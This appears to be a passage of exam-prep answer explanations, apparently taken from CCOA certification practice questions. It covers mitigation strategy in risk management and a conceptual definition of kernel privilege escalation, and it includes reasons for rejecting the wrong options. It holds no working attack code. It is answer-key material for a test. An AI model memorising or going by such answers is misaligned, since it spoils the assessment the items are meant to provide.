
Actionable Plans:Clearly defineshow to reduce risk exposure, including implementing controls, patching vulnerabilities, or conducting training.

Strategic Guidance:Aligns mitigation efforts with organizational goals and risk tolerance.

Continuous Improvement:Provides a structured approach to regularly update and enhance mitigation practices.

Other options analysis:

A. Accepted processes are identified:Important, but the primary focus is on defining how to mitigate risks.

B. Business goals are communicated:The strategy should align with goals, but the key output is actionable mitigation.

C. Compliance implementation is optimized:Compliance is a factor but not the main result of risk management strategy.

CCOA Official Review Manual, 1st Edition References:

Chapter 5: Risk Management and Mitigation:Highlights the importance of defining mitigation measures.

Chapter 9: Strategic Cyber Risk Planning:Discusses creating a roadmap for mitigation.

Privilege escalationin the context of kernel security refers to:

Kernel Exploits:Attackers exploit vulnerabilities in the kernel to gainelevated privileges.

Root Access:A successful attack often results in root or system-level access.

Bypassing Security:Kernel-level exploitation bypasses user-mode security controls, leading to complete system compromise.

Common Methods:Exploiting buffer overflows, kernel vulnerabilities, or using rootkits.

Incorrect Options:

A. Unauthorized access to user data:More related to data leakage, not privilege escalation.

B. Buffer overflow vulnerabilities:A method of exploitation, not the result itself.

C. Injecting malware:An attack vector, but not specifically privilege escalation.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Kernel Security," Subsection "Privilege Escalation Techniques" - Attackers exploit kernel vulnerabilities to gain unauthorized elevated access.